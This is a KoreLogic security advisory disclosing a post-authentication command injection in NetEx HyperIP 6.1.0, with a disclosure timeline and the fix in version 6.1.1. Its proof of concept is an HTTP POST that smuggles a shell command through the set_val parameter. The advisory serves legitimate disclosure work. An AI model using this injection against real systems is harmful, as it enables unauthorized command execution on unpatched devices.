NetEx HyperIP 6.1.0 Post-Auth Command Execution

`KL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution  
  
Title: NetEx HyperIP Post-Auth Command Execution  
Advisory ID: KL-001-2018-003  
Publication Date: 2018.02.08  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: NetEx  
Affected Product: HyperIP  
Affected Version: 6.1.0  
Platform: Embedded Linux  
CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command, CWE-250: Execution  
with Unnecessary Privileges  
Impact: Arbitrary Command Execution  
Attack vector: HTTPS  
  
2. Vulnerability Description  
  
A command injection vulnerability can be leveraged to execute  
operating system commands.  
  
3. Technical Description  
  
A POST variable is handled unsafely, allowing execution of arbitrary  
commands with the privileges of the webserver process. In the below  
example, set_val= is used to copy an existing executable file into  
a writable directory.  
  
POST /hypmisc.php HTTP/1.1  
Host: 1.3.3.7  
Accept-Language: en-US,en;q=0.5  
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 99  
  
set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set  
  
HTTP/1.1 200 OK  
Date: Mon, 27 Mar 2017 07:20:56 GMT  
Server: Apache/2.2.3 (CentOS)  
X-Powered-By: PHP/5.1.6  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 1057  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released version 6.1.1 of HyperIP, which they state  
addresses this vulnerability.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.07.24 - KoreLogic submits vulnerability details to NetEx.  
2017.07.24 - NetEx confirms receipt.  
2017.08.16 - NetEx informs KoreLogic that this and other reported  
vulnerabilities have been addressed in the forthcoming  
release. ETA as of yet undetermined.  
2017.09.05 - 30 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.09.19 - NetEx informs KoreLogic that the forthcoming release  
6.1.1 is expected to ship at the end of January 2018.  
2017.09.26 - 45 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.12.01 - 90 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.17 - 120 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release  
has gone live.  
2018.02.08 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2018  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`